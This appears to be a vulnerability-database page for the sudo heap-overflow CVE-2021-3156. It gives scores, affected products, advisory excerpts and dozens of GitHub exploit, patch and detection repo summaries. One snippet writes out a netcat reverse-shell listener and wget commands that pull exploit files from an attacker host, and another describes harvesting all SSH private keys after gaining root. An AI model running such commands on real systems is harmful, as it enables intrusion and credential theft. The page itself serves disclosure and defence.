683
VMScore

CVE-2021-3156

Published: 26/01/2021 Updated: 04/02/2024
CVSS v2 Base Score: 7.2 | Impact Score: 10 | Exploitability Score: 3.9
CVSS v3 Base Score: 7.8 | Impact Score: 5.9 | Exploitability Score: 1.8
VMScore: 683
Vector: AV:L/AC:L/Au:N/C:C/I:C/A:C

Vulnerability Summary

Sudo prior to 1.9.5p2 contains an off-by-one error that can result in a heap-based buffer overflow, which allows privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character.

Vulnerability Trend

Vulnerable Product Search on Vulmon Subscribe to Product

sudo project sudo 1.9.5

sudo project sudo

fedoraproject fedora 32

fedoraproject fedora 33

debian debian linux 9.0

debian debian linux 10.0

netapp solidfire -

netapp hci management node -

netapp oncommand unified manager core package -

mcafee web gateway 8.2.17

mcafee web gateway 9.2.8

mcafee web gateway 10.0.4

synology diskstation manager 6.2

synology diskstation manager unified controller 3.0

synology skynas_firmware -

synology vs960hd_firmware -

beyondtrust privilege management for mac

beyondtrust privilege management for unix\\/linux

oracle micros_compact_workstation_3_firmware 310

oracle micros_es400_firmware

oracle micros_kitchen_display_system_firmware 210

oracle micros_workstation_5a_firmware 5a

oracle micros_workstation_6_firmware

oracle tekelec platform distribution

oracle communications performance intelligence center

Vendor Advisories

The Qualys Research Labs discovered a heap-based buffer overflow vulnerability in sudo, a program designed to provide limited super user privileges to specific users Any local user (sudoers and non-sudoers) can exploit this flaw for root privilege escalation For the stable distribution (buster), this problem has been fixed in version 1827-1+deb ...
When sudo runs a command in shell mode, either via the -s or -i command line option, it escapes special characters in the command's arguments with a backslash The sudoers policy plugin will then remove the escape characters from the arguments before evaluating the sudoers policy (which doesn't expect the escape characters) if the command is being ...
Synopsis Important: sudo security update Type/Severity Security Advisory: Important Topic An update for sudo is now available for Red Hat Enterprise Linux 82 Extended Update SupportRed Hat Product Security has rated this update as having a security impact of Important A Common Vulnerability Scoring Syste ...
Synopsis Important: RHV-H security, bug fix, enhancement update (redhat-virtualization-host) 4313 Type/Severity Security Advisory: Important Topic An update for redhat-virtualization-host is now available for Red Hat Virtualization 4 for Red Hat Enterprise Linux 7Red Hat Product Security has rated this u ...
Synopsis Important: sudo security update Type/Severity Security Advisory: Important Topic An update for sudo is now available for Red Hat Enterprise Linux 76 Extended Update SupportRed Hat Product Security has rated this update as having a security impact of Important A Common Vulnerability Scoring Syste ...
Synopsis Important: sudo security update Type/Severity Security Advisory: Important Topic An update for sudo is now available for Red Hat Enterprise Linux 8Red Hat Product Security has rated this update as having a security impact of Important A Common Vulnerability Scoring System (CVSS) base score, which ...
Synopsis Important: sudo security update Type/Severity Security Advisory: Important Topic An update for sudo is now available for Red Hat Enterprise Linux 74 Advanced Update Support, Red Hat Enterprise Linux 74 Telco Extended Update Support, and Red Hat Enterprise Linux 74 Update Services for SAP Solutio ...
Synopsis Important: sudo security update Type/Severity Security Advisory: Important Topic An update for sudo is now available for Red Hat Enterprise Linux 7Red Hat Product Security has rated this update as having a security impact of Important A Common Vulnerability Scoring System (CVSS) base score, which ...
Synopsis Important: Red Hat Virtualization Host security bug fix and enhancement update [ovirt-444] Type/Severity Security Advisory: Important Topic An update for imgbased, redhat-release-virtualization-host, and redhat-virtualization-host is now available for Red Hat Virtualization 4 for Red Hat Enterpri ...
Synopsis Important: sudo security update Type/Severity Security Advisory: Important Topic An update for sudo is now available for Red Hat Enterprise Linux 73 Advanced Update SupportRed Hat Product Security has rated this update as having a security impact of Important A Common Vulnerability Scoring Syste ...
Synopsis Important: sudo security update Type/Severity Security Advisory: Important Topic An update for sudo is now available for Red Hat Enterprise Linux 72 Advanced Update SupportRed Hat Product Security has rated this update as having a security impact of Important A Common Vulnerability Scoring Syste ...
Synopsis Important: sudo security update Type/Severity Security Advisory: Important Topic An update for sudo is now available for Red Hat Enterprise Linux 6 Extended Lifecycle SupportRed Hat Product Security has rated this update as having a security impact of Important A Common Vulnerability Scoring Syst ...
Synopsis Important: sudo security update Type/Severity Security Advisory: Important Topic An update for sudo is now available for Red Hat Enterprise Linux 77 Extended Update SupportRed Hat Product Security has rated this update as having a security impact of Important A Common Vulnerability Scoring Syste ...
Synopsis Important: sudo security update Type/Severity Security Advisory: Important Topic An update for sudo is now available for Red Hat Enterprise Linux 81 Extended Update SupportRed Hat Product Security has rated this update as having a security impact of Important A Common Vulnerability Scoring Syste ...
When sudo runs a command in shell mode, either via the -s or -i command line option, it escapes special characters in the command's arguments with a backslash The sudoers policy plugin will then remove the escape characters from the arguments before evaluating the sudoers policy (which doesn't expect the escape characters) if the command is being ...
A vulnerability in the command line parameter parsing code of Sudo could allow an authenticated, local attacker to execute commands or binaries with root privileges The vulnerability is due to improper parsing of command line parameters that may result in a heap-based buffer overflow An attacker could exploit this vulnerability by accessing a Uni ...
A serious heap-based buffer overflow has been discovered in sudo before version 195p2 that is exploitable by any local user It has been given the name Baron Samedit by its discoverer The bug can be leveraged to elevate privileges to root, even if the user is not listed in the sudoers file User authentication is not required to exploit the bug ...

ICS Advisories

Exploits

Sudo versions prior to 195p2 suffer from buffer overflow and privilege escalation vulnerabilities ...
A heap based buffer overflow exists in the sudo command line utility that can be exploited by a local attacker to gain elevated privileges The vulnerability was introduced in July of 2011 and affects version 182 through 1831p2 as well as 190 through 195p1 in their default configurations The technique used by this implementation leverages ...
Qualys has released extensive research details regarding a heap-based buffer overflow vulnerability in sudo The issue was introduced in July 2011 (commit 8255ed69), and affects all legacy versions from 182 to 1831p2 and all stable versions from 190 to 195p1, in their default configuration ...
Qualys discovered a heap-based buffer overflow in the GNU C Library's __vsyslog_internal() function, which is called by both syslog() and vsyslog() This vulnerability was introduced in glibc 237 (in August 2022) ...
Sudo version 195p1 Baron Samedit heap-based buffer overflow and privilege escalation exploit ...

Mailing Lists

<!--X-Body-Begin--> <!--X-User-Header--> Full Disclosure mailing list archives <!--X-User-Header-End--> <!--X-TopPNI--> By Date By Thread </form> <!--X-TopPNI-End--> <!--X-MsgBody--> <!--X-Subject-Header-Begin--> Baron Samedit: Heap-based buffer overflow in Sudo (CVE-2021-3156) <!--X-Subject-Header-End--> <!--X-Head-of-Message--> ...
<!--X-Body-Begin--> <!--X-User-Header--> oss-sec mailing list archives <!--X-User-Header-End--> <!--X-TopPNI--> By Date By Thread </form> <!--X-TopPNI-End--> <!--X-MsgBody--> <!--X-Subject-Header-Begin--> Re: Oracle Solaris membership in the distros list <!--X-Subject-Header-End--> <!--X-Head-of-Message--> From: Alan Coopersmit ...
<!--X-Body-Begin--> <!--X-User-Header--> oss-sec mailing list archives <!--X-User-Header-End--> <!--X-TopPNI--> By Date By Thread </form> <!--X-TopPNI-End--> <!--X-MsgBody--> <!--X-Subject-Header-Begin--> CVE-2023-6246: Heap-based buffer overflow in the glibc's syslog() <!--X-Subject-Header-End--> <!--X-Head-of-Message--> From: ...

Github Repositories

just some exploits coded in rust

Exploits CVE-2021-3156 Heap-Based Buffer Overflow in Sudo Ported from githubcom/CptGibbon/CVE-2021-3156 CVE-2021-3156 Developed by Sylvain Kerkour CVE-2021-4034 Polkit privilege escalation exploit Ported from githubcom/berdav/CVE-2021-4034 Original advisory: wwwqualyscom/2022/01/25/cve-2021-4034/pwnkittxt TODO test in Docker, use other method for

xcoderootsploit X-code Root Sploit v01 Beta 1 Dibangun oleh Kurniawan - kurniawanajazenfone@gmailcom - xcodecoid - 20 Maret 2024 Aplikasi untuk membantu privilege escalation secara otomatis pada target linux Dengan exploit ini maka peretas cukup menjalankan program maka otomatis bisa mendapatkan akses root selama target mempunyai kerentanan untuk dilakukan privil

Vulnerability Capstone Notes on the CTF nmap Starting Nmap 793 ( nmaporg ) at 2023-07-21 19:07 UTC Nmap scan report for ip-10-10-163-53eu-west-1computeinternal (101016353) Host is up (000043s latency) Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 82p1 Ubuntu 4ubuntu03 (Ubuntu Linux; protocol 20) | ssh-host

SDSU Cyber Security Red Team - CS574 Purpose As leader of the SDSU CS574 Cyber Security Red Team I have made a bunch of custom tools for attacking students' systems I am publishing this publicly so that students who have completed the course are able to learn from the tools that I created I originally took this course in 2019 and was assigned to Red Team because of some

In retrospect I should have mentioned that there is two hosts in this challenge - alicehkn I also accidentally gave an older version of the apppy, but the only difference really is that the secret is NEVER displayed to the participant! Get secret key To login a secret key is required, which can be obtained by either a) Finding the pattern in the challenge-response, unlikely

Aplikasi untuk privilege escalation secara otomatis pada target linux

xcoderootsploit Aplikasi untuk privilege escalation secara otomatis pada target linux Sumber : Privilege Escalation pada Ubuntu 20042 (Bisa untuk target Ubuntu 2010 dan 2104) - CVE-2021-3490 githubcom/chompie1337/Linux_LPE_eBPF_CVE-2021-3490 Privilege Escalation pada linux Ubuntu 20041 (CVE-2019-13272) githubcom/blasty/CVE-2021-3156 Privilege Escalation

OSCP Commands Cheat Sheet Passed the 2023 version of the OSCP, these commands were gathered throughout practicing for the exam OSCP Commands Cheat Sheet Nmap Scans and Inital Enumeration Regular scans to do on every system: Enum4linux LDAP Scanning through a Pivot Scanning for Vulnerabilities Windows Commands Reminders and Priv esc Usefull commands and Enumeration: I

Personal "King of The Hill" toolkit.

KoTH-Tools Welcome to KoTH-Tools, a collection of custom tools used in TryHackMe's King of the Hill competition These tools are designed for use on Linux machines Table of Contents CVEs Directory Static Directory Monitor Directory Animations Directory Scripts Reverse Shells CVEs Directory This directory contains exploits for CVEs found in the machines CVE-2019-18634-

1day research effort

CVE-2021-3156-Baron-Samedit This repo contains my work on clumsily implementing a public 1day exploit for the sudo bug Wish me luck If you would like to help please feel free Compile the provided src/sudo sudoedit has been modified to use AFL harness to get input from STDIN AFL Fuzzy loop crash test cases discovered so far, check these out: -rw------- 1 root root 309 Jan 2

cve-2021-3156;sudo堆溢出漏洞;漏洞检测

sudo堆溢出漏洞(CVE-2021-3156) 漏洞概述 国外研究团队发现sudo堆溢出漏洞(CVE-2021-3156),漏洞隐藏十年之久,普通用户可以通过利用此漏洞,在默认配置的 sudo 主机上获取root权限。漏洞细节已在互联网上公开。 漏洞编号 CVE-2021-3156 漏洞综合评级 高危 漏洞影响范围 从182到1831p2的所有

CVE-2021-3156

CVE-2021-3156 Ansible role patches CVE-2021-3156 for CentOS Intro Sudo before 195p2 has a Heap-based Buffer Overflow, allowing privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character CVE-2021-3156 News (RU) RUN ansible-playbook update_sshyml --tags ssh-update

PoC Eploit Sudo 195p1 (CVE-2021-3156) Heap-Based Buffer Overflow Privilege Escalation CVE-2021-3156 is a new severe vulnerability was found in Unix and Linux operating systems that allow an unprivileged user to exploit this vulnerability using Sudo, causing a heap overflow to elevate privileges to root without authentication, or even get listed in the sudoers file Credit

CVE exploit searcher from GitHub with some deploy options

GitHub_Search_CVE Features Search CVE exploits from github Download up to 10 CVE exploits at the same time automatically Send the exploits from SCP to a defined target Create HTTP server with the exploits to download it from another machine GitHub_Search_CVE ##Requirements Debian based operative system Tested on Kali 2022-01-31 and Ubuntu 2004 git: (Automatic installation

CVE-2021-3156 (Sudo Baron Samedit) This repository is CVE-2021-3156 exploit targeting Linux x64 For writeup, please visit datafarm-cybersecuritymediumcom/exploit-writeup-for-cve-2021-3156-sudo-baron-samedit-7a9a4282cb31 Credit to Braon Samedit of Qualys for the original advisory Files Exploit on glibc with tcache exploit_nsspy auto detect all requirements and num

2023-01-enterprise-demo Simple demo for Anchore Enterprise Includes workflow examples for Jenkins, CircleCI, Codefresh, Drone, and GitHub Partial list of conditions that can be tested with this image: xmrig cryptominer installed at /xmrig/xmrig simulated AWS access key in /aws_access simulated ssh private key in /ssh_key selection of commonly-blocked packages installed (

Custom version of sudo 1.8.3p1 with CVE-2021-3156 patches applied

sudo-183p1-patched This is a custom version of sudo, based on the sudo 183p1 package as provided by Canonical for Ubuntu 1204 using the URLs below, with the CVE-2021-3156 patches applied usarchiveubuntucom/ubuntu/pool/main/s/sudo/sudo_183p1-1ubuntu37dsc usarchiveubuntucom/ubuntu/pool/main/s/sudo/sudo_183p1origtargz usarchiveubuntuco

CVE-2021-3156 exploit

CVE-2021-3156 CVE-2021-3156 exploit Introduction This is an exploit for the CVE-2021-3156 sudo vulnerability (dubbed Baron Samedit by Qualys) build: $ make list targets: $ /sudo-hax-me-a-sandwich run: $ /sudo-hax-me-a-sandwich &lt;target_number&gt;

Drop-in sudo and pkexec replacement doing ssh root@localhost passing parameters like empty strings properly

sshudo Synopsis PBUILDERROOTCMD=sshudo pbuilder --build --debbuildopts "" /somedebianpackage_123-4dsc alias sudo=sshudo alias pkexec=sshudo sshudo ln -vis sshudo /usr/bin/sudo sshudo ln -vis sshudo /usr/bin/pkexec Description sshudo is an SSH based minimal drop-in replacement for very basic sudo and pkexec usage with command

Repository to hold various playbooks that I have written over the years, for various reasons

A simple repo to hold playbooks that I have written over the years for a variety of purposes License Allow Root SSH allowrootsshyml This playbook will: Operate on all hosts in the Ansible inventory The tasks this playbook will complete are: Update the /etc/ssh/sshd_config file to allow root logins ("PermitRootLogin yes") It will restart the SSH Daemon with a han

Notes regarding CVE-2021-3156: Heap-Based Buffer Overflow in Sudo

CVE-2021-3156 Note: These instructions are my own and notes from a stream that I did If anything is wrong, then let me know Trust official sources first! Hello everyone, A couple of days back, a serious heap-based buffer overflow has been discovered in sudo that is exploitable by any local user It has been given the name Baron Samedit by its discoverer The bug can be levera

漏洞资产情报收集

漏洞情报收集 MySQL客户端jdbc反序列化漏洞 CVE-2021-22986 XStream多个高危漏洞 sudo本地权限提升漏洞(CVE-2021-3156) 深信服SSL-VPN代码注入 微软2021年3月补丁日漏洞通告 VMware多个高危漏洞通告 SAP Solution Manager EemAdmin 远程代码执行漏洞(CVE-2020-6207) JumpServer 远程命令执行漏洞 资产收集 资产收集-

CVE-2021-3156

CVE-2021-3156 wwwqualyscom/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudotxt blogqualyscom/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit accessredhatcom/security/vulnerabilities/RHSB-2021-002

CVE-2021-3156 PoC Introduction This is an exploit for the CVE-2021-3156 sudo vulnerability (dubbed Baron Samedit by Qualys) Usage build: $ make list targets: $ /sudo-hax-me-a-sandwich run: $ /sudo-hax-me-a-sandwich &lt;target_number&gt; manual mode:

A puppet module for provisioning my FreeBSD desktop workstation

Puppet FreeBSD Workstation Puppet script for provisioning my FreeBSD desktop workstation Table of Contents Setup Prerequisites System dependencies Puppet dependencies Usage Manifests Limitations Setup First, you need to get the latest source code by cloning the git repository with this command git clone githubcom/lognoz/puppet-freebsd-workstationgit

CVE-2021-3156 Root shell PoC for CVE-2021-3156 (no bruteforce) For educational purposes etc Tested on Ubuntu 2004 against sudo 1831 All research credit: Qualys Research Team Check out the details on their blog You can check your version of sudo is vulnerable with: $ sudoedit -s Y If it asks for your password it's most likely vulnerable, if it prints usage information

LMU-CVE-2021-3156 ADD DESCRIPTION Explore the docs » View Demo · Report Bug · Request Feature Table of Contents About The Project Built With Getting Started Prerequisites Installation Usage Roadmap Contribut

Security hardening policies

Security Hardening Policies This repository hosts various security hardening policies Modules Provided compliance-report-imports (experimental) compliance-report-os-is-vendor-supported (experimental) cve-2021-3156-sudo cve-2021-44228-log4j default-encrypt-method-sha512 etc-issue ntp-maxpoll ssh-ciphers-strong ssh-max-auth-tries ssh-permit-empty-passwords-n

checking CVE-2021-3156 vulnerability & patch script

CVE-2021-3156 checking CVE-2021-3156 vulnerability &amp; patching script CVE-2021-3156 description: Sudo before 195p2 has a Heap-based Buffer Overflow, allowing privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character To check for CVE-2021-3156 vulnerability: python3 CVE-2021-3156_checkerpy

Exploit for Ubuntu 20.04 using CVE-2021-3156 enhanced with post-exploitation scripts

PE_CVE-CVE-2021-3156 Exploit for Ubuntu 2004 using CVE-2021-3156, enhanced with simple and automated post-exploitation scripts Besides the root shell you can have: -A txt file with all the id_rsa ssh keys configured in the server See the script: get_all_ssh_keyssh -A privshell executable that allows any user to start a root shell (working on fixing the gcc error) See the s

Speech slides

Slides Speech slides Current slides Exploiting sudo CVE-2021-3156: From heap-based overflow to LPE/EoP (Feb 19, 2021) CVE-2020-28018: From Use-After-Free to Remote Code Execution (Jun 18, 2021) Confronting CFI: Control-flow Hijacking in the Intel CET era for memory corruption exploit development (May 12, 2022)

clif is a command-line interface (CLI) application fuzzer, pretty much what wfuzz or ffuf are for web. It was inspired by sudo vulnerability CVE-2021-3156 and the fact that for some reasons, Google's afl-fuzz doesn't allow for unlimited argument or option specification.

clif clif is a command-line interface (CLI) application fuzzer, pretty much what wfuzz or ffuf are for web It was inspired by sudo vulnerability CVE-2021-3156 and the fact that for some reasons, Google's afl-fuzz doesn't allow for unlimited argument or option specification Usage clif -e &lt;executable&gt; [-w &lt;wordlist&gt;, -n &lt;number_range

CVE-2021-3156 In this document we include all the knowledge necessary in order to understand the code in this repository and why it works All the explaination is based on the report created by QUALYS There more forms of exploitation are explained Requirements The vulnerable versions of sudo are legacy versions from 182 to 1831p2 and all stable version from 190 to 195

Linux Documents

LinuxDocLinks GNU GNU GRUB, wwwgnuorg/software/grub/ GNU GRUB Manual 206, wwwgnuorg/software/grub/manual/grub/grubhtml Linux vbrid No10 Learning the BASH, linuxvbirdorg/linux_basic/centos7/0320bashphp No14 Quota and RAID/LVM/iSCSI, linuxvbirdorg/linux_basic/centos7/0420quotaphp#lvm ubuntu Linux Repositories CommandLine, help

Sudo Heap Overflow Baron Samedit

CVE-2021-3156 Introduction This repository was created for studying purpose The project contains some tools for studying the sudo Baron Samedit vulnerability and the exploit for it Thanks to Qualys Team for discovering such vulnerability, to Worawit and 0xdevil for the interesting writeups Usage The Docker directory contains a Docker container used for studying some part

CVE-2021-3156 Root shell PoC for CVE-2021-3156 (no bruteforce) For educational purposes etc Tested on Ubuntu 2004 against sudo 1831 All research credit: Qualys Research Team Check out the details on their blog You can check your version of sudo is vulnerable with: $ sudoedit -s Y If it asks for your password it's most likely vulnerable, if it prints usage information

CVEs Exploits I'm adding exploits for some CVEs that I wrote 2023 CVE-2023-4911 Buffer Overflow in glibc's ldso CVE-2021-3156 Heap-Based Buffer Overflow in Sudo 2021 CVE-2015-6967 Nibbleblog 403 CVE-2020-28038 WordPress before 552

内网渗透中的一些工具及项目资料

内网渗透中的一些工具及项目资料 入侵与渗透是两个不同的概念,很多人喜欢混为一谈,简单来说,入侵是从信息收集到打点,渗透是横向移动,获取目标,稳固权限。本页是针对内网渗透中整理的一些工具以及项目资料,方便安全从业人员查阅 此项目同步至:forumywhackcom/bount

CVE-2021-3156-Mitigation-ShellScript-Build Considering the Vulnerability focused in SUDO 2021 in CVE-2021-3156 this is an attempt to craete a script for process checker and if teh designated process exists then it invokes authenticationa and locks out system

ЛР Linux Для выполнения ЛР использовался следующий Dockerfile: FROM archlinux:base-20220424054084 RUN pacman -Sy --noconfirm \ sudo \ glibc \ tree # Создадим непривелигированного пользователя `nonroot`, # Это нужно, чтобы наглядно показать, как мы смож

CVE-2021-3156 POC and Docker and Analysis write up

CVE-2021-3156 [toc] 漏洞简介 漏洞编号: CVE-2021-3156 漏洞评分: 漏洞产品: linux sudo 影响范围: 182-1831sp12; 190-195sp1 利用条件: linux 本地;sudo为suid且可运行 利用效果: 本地提权 源码获取: wwwsudows/getting/source/ 环境搭建 docker 环境: chenaotian/cve-2021-3156 我自己搭建的docker,提供了: 自己编

linux-cve-2021-3156 upgrade new version sudo on centos7 upgrade new version sudo on centos7 $ git clone githubcom/tainguyenbp/linux-cvegit $ bash -x linux-cve/cve-2021-3156/upgrade-new-version-sudo-centos7sh

This simple bash script will patch the recently discovered sudo heap overflow vulnerability.

This simple bash script will patch the recently discovered sudo heap overflow vulnerability Simply run git clone githubcom/elbee-cyber/CVE-2021-3156-PATCHER &amp;&amp; cd CVE-2021-3156-PATCHER &amp;&amp; sh CVE-2021-3156-patchersh This patch is significantly important for any *nix systems Neglecting this will allow any low-level user to privesc! Patc

This is a repo for the PoC's I found from diffrernt github repoisitory of the recent sudo CVE 2021-3156 (Baron Samedit)

Baron-Samedit This is a repo for the PoC's I found from diffrernt github repoisitory of the recent sudo CVE 2021-3156 (Baron Samedit) githubcom/blasty/CVE-2021-3156 githubcom/r4j0x00/exploits gistgithubcom/stong/2f144f94f6de9c39c516781b041d2b64 githubcom/lockedbyte/CVE-Exploits/tree/master/CVE-2021-3156

2022-02-enterprise-demo Simple demo for Anchore Enterprise, including both Jenkins and GitHub workflow examples Partial list of problems in this image: xmrig cryptominer installed at /xmrig/xmrig simulated AWS access key in /aws_access simulated ssh private key in /ssh_key selection of commonly-blocked packages installed (sudo, curl, etc) /log4j-core-2141jar (CVE-2021-4

收集一些易于复现,且使用价值(危害)较大的漏洞

##This is a collection of CVE ##Used for study only ###CVE-2021-3156 sudo提权漏洞 githubcom/blasty/CVE-2021-3156 ###CVE—2020-15778 openssh scp命令注入 ###CNVD-2021-30167 用友软件 beanshell开放

存储各类渗透测试 工具/exp等

本项目为存储各类已披露利用脚本或工具 FoFa Search 基于Python3编写的具有图形化界面的FoFa搜索工具 UI设定尺寸符合MAC使用,可填写key后自行编译使用 CVE-2021-3156 Linux sudo 提权 CVE-2021-1732 Microsoft Windows本地提权漏洞 泛微 泛微e-cology V8 前台sql注入 泛微e-cology BeanShell组件命令执行 泛

The test report of this exploit.

关于CVE-2021-3156的exp测试报告 Exploit Code Link 鉴于该EXP在不同平台,不同架构的系统上展现出的优异兼容性,特此报告。 该EXP的具体行为包括但不限于: 弹出计算器 极强的传染性 有点臭 此测试在A3G群群友间进行,本人对此exp是否确实拥有以上效果表示蒙在鼓里。 TG的测试结果 可可

IC1_projekt Requirments: Docker Docker-compose Install packages $ chmod +x installPackagessh # /installPackagessh The script contains the necessary packages for the functionality of the OS HTTP server configuration (html files) You have to chose which files to use before the server is ran (before you use docker-compose) Docker (HTT

PoC for CVE-2021-3156 (sudo heap overflow)

CVE-2021-3156 PoC for CVE-2021-3156 (sudo heap overflow) Exploit by @gf_256 aka cts Thanks to r4j from super guesser for help Credit to Braon Samedit of Qualys for the original advisory Demo video Important note The modified time of /etc/passwd needs to be newer than the system boot time, if it isn't you can use chsh to update it Unfortunately this means you will have

CVE-2021-3156: Sudo heap overflow exploit for Debian 10

CVE-2021-3156 CVE-2021-3156: Sudo heap overflow exploit for Debian 10 Vulnerability analysis and exploit development: syst3mfailureio/sudo-heap-overflow

Simple Ansible LAB Creating a lab with vagrant and ansible, for hosting a simple web service 1 Installing Host Softwares: In order to create this simple lab, I will list down the softwares that the host machine should have: Vagrant 226; Virtual Box 6114 To install the hypervisor Virtual Box, folllow installation instructions on their website For Vagrant, you can use an

a simple script to patch CVE-2021-3156 (heap based buffer overflow via sudo).

CVE-2021-3156 a simple script to patch CVE-2021-3156 (heap based buffer overflow via sudo)

ScannerCVE-2021-3156 Script para escanear una lista de host donde es posible saber si se es vulnerable al cve 2021-3156 En caso de no ser vulnerable la salida es la siguiente: sudoedit: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper sudoedit: se requiere una contraseña Puede ser configurado

Description Sudo before 1.9.5p2 has a Heap-based Buffer Overflow, allowing privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character.

CVE-2021-3156 Description Sudo before 195p2 has a Heap-based Buffer Overflow, allowing privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character

exploits CVE-2021-22600: Linux kernel LPE exploit CVE-2021-3156: Linux local privilege escalation through heap overflow in sudo (Demo) CVE-2021-3156: One shot exploit for heap overflow vulnerability in sudo CVE-2020-6507: Out of bounds write in V8 Chrome versions &lt;= 830410397 (RCE) CVE-2020-16040: Chrome exploit versions &lt;= 870428088

sudo提权漏洞CVE-2021-3156复现代码

CVE-2021-3156 Root shell PoC for CVE-2021-3156 (no bruteforce) For educational purposes etc Tested on Ubuntu 2004 against sudo 1831 All research credit: Qualys Research Team Check out the details on their blog You can check your version of sudo is vulnerable with: $ sudoedit -s Y If it asks for your password it's most likely vulnerable, if it prints usage information

利用sudo提权,只针对cnetos7

CVE-2021-3156-centos7 利用sudo提权,只针对cnetos7 受影响版本: sudo: 182 - 1831p2 sudo: 190 - 195p1 以非root用户登录系统,并运行如下命令: sudoedit -s / 回显是 not a regular file 多半是存在该漏洞 使用方法: 首先使用非root用户登录,然后将/etc/passwd里面所有的内容复制到CVE-2021-3156py的APPEND_CONTENT

Heap Based Buffer Overflow Attack To Gain Root Shell

CVE-2021-3156 Root shell PoC for CVE-2021-3156 (no bruteforce) For educational purposes etc Tested on Ubuntu 2004 against sudo 1831 All research credit: Qualys Research Team Check out the details on their blog You can check your version of sudo is vulnerable with: $ sudoedit -s Y If it asks for your password it's most likely vulnerable, if it prints usage information

HackTheBox Reference: githubcom/blasty/CVE-2021-3156

Team 3's code for the malware project 2023/2024

() = from demo, may not be neccessary for emulatiion with files on this repo ----------------START Bob: nc -lvnp 9001 Alice: python3 optimiserpy ----------------We have remote shell open on bob || DON'T TOUCH A'S SHELL (Bob NEW TERMINAL : python3 -m httpserver) (Bob RS: wget 10024:8000/CVE-2021-3156-main_origzip) (Bob RS: wget 10024:8000/hackboxpy) (Bob RS:

CVE-2021-3156 Root shell PoC for CVE-2021-3156 (no bruteforce) For educational purposes etc Tested on Ubuntu 2004 against sudo 1831 All research credit: Qualys Research Team Check out the details on their blog You can check your version of sudo is vulnerable with: $ sudoedit -s Y If it asks for your password it's most likely vulnerable, if it prints usage information

Patch Script for CVE-2021-3156 Heap Overflow

CVE-2021-3156-Patch Patch Script for CVE-2021-3156 Heap Overflow

CVE-2021-3156 heap layout fuzzer(???) will generate a ton of tmp files under /var/tmp and also a bunch of vi processes so modify the script to clean them up or smth

Exploit and Demo system for CVE-2021-3156

Baron-Samedit Exploit and Demo system for CVE-2021-3156

CVE-2021-3156 deep dive.

SudoScience CVE-2021-3156 deep dive

CVE-2021-3156 deep dive.

SudoScience CVE-2021-3156 deep dive

A Collection of Privilege Escalation Tools Windows GhostPack Compiled Binaries PowerUpps1 WinPEASanyexe/WinPEASbat Linux lsesh LinEnumsh lessh Polkit Exploit (CVE-2021-3560) Sudo Exploit (CVE-2021-3156) Docker deepcssh

2022-04-suse-demo Simple demo for Anchore Enterprise, including both Jenkins and GitHub workflow examples Partial list of conditions that can be tested with this image: xmrig cryptominer installed at /xmrig/xmrig simulated AWS access key in /aws_access simulated ssh private key in /ssh_key selection of commonly-blocked packages installed (sudo, curl, etc) /log4j-core-2141

Ejemplos de BufferOverflow

BufferOverflow Investigue 5 ejemplos de BufferOverflow en internet y explique como derivaron en fallas de seguridad Ejemplos de BufferOverflow: Ejemplo 1: CVE-2021-3156 En este ejemplo el error radica en en una parte del código del programa "sudo" Específicamente en la parte que gestionaba la verificación de contraseñas El problema est

CVE-2021-3156-Exp The exploit of CVE-2021-3156 After an overnight researching, finally, I got it! Thanks wwwqualyscom/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudotxt

StarlightCTF is a repository containing notes pointing to ideas and resources It's purpose is to help the user (usually me) to find solutions to security-related challenges and provide some tools to use when offline The resources that I use most often are marked with a heart ❤️ symbol This database was inspired by CTF Katana (unmaintained) and HackTricks (pentest-or

Employee-Walkthrough Introduction This box was made to show the importance of enumeration, critical thinking and the usual mess and error while dealing with public exploit scripts in real life This is done via mimicking a company hiring for employees, and some manual site development that leads to code execution Exploits used are CVE-2017-7494 and a little command injection f

How to solve Sudo Heap-Based Buffer Overflow Vulnerability — CVE-2021-3156?

How to solve Sudo Heap-Based Buffer Overflow Vulnerability — CVE-2021-3156? sudo Heap-Based Buffer Overflow Vulnerability — CVE-2021-3156 Original release date: February 02, 2021 Sudo has released an advisory addressing a heap-based buffer overflow vulnerability—CVE-2021-3156—affecting sudo legacy versions 182 through 1831p2 and stable versions 190

TA-Samedit Simple Splunk UF detection for Baron Samedit sudo buffer overflow (CVE-2021-3156) Refer to blogqualyscom/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit 1-28-2021: V2: Re-did detection to not rely on sudoedit command V1 (found in bin directory) required UF to run as root! No bueno This scripted input ca

exploits CVE-2021-3156: Linux local privilege escalation through heap overflow in sudo (Demo) CVE-2021-3156 One shot exploit CVE-2020-6507: Out of bounds write in V8 Chrome versions &lt;= 830410397 (RCE) CVE-2020-16040: Chrome exploit versions &lt;= 870428088

Writeup for the TryHackMe Cat Pictures 2 Room

Cat Pictures 2 Writeup This is a walkthrough of the Cat Pictures 2 CTF from TryHackMe The room can be accessed here Recon I started by running an Nmap scan to identify open ports on the target machine: nmap -sV -sC -p- &lt;#TARGETIP&gt; -o nmap The scan revealed the following open ports: 22 - OpenSSH 76p1 80 - Nginx 146 (Lych

复现别人家的CVEs系列

CVE-2021-3156 nss_load_library ver No LSB modules are available Distributor ID: Ubuntu Description: Ubuntu 2004 LTS Release: 2004 Codename: focal GNU C Library (Ubuntu GLIBC 231-0ubuntu9) stable release version 231 Sudo 版本 1831 Sudoers 策略插件版本 1831 Sudoers 文件语法版本 46 Sudoers I/O plugin version 1831

Exploit generator for sudo CVE-2021-3156

Título del Proyecto Generador de exploit para CVE-2021-3156 sudo Instalación Instala dependencias /installsh Ejecuta generador de exploit: /runsh Si la versión de sudo del sistema es vulnerable se genera un exploit para la versión instalada El exploit se genera en exploitc y el binario /exploit Requisitos gdb gcc make python3 python3-distro

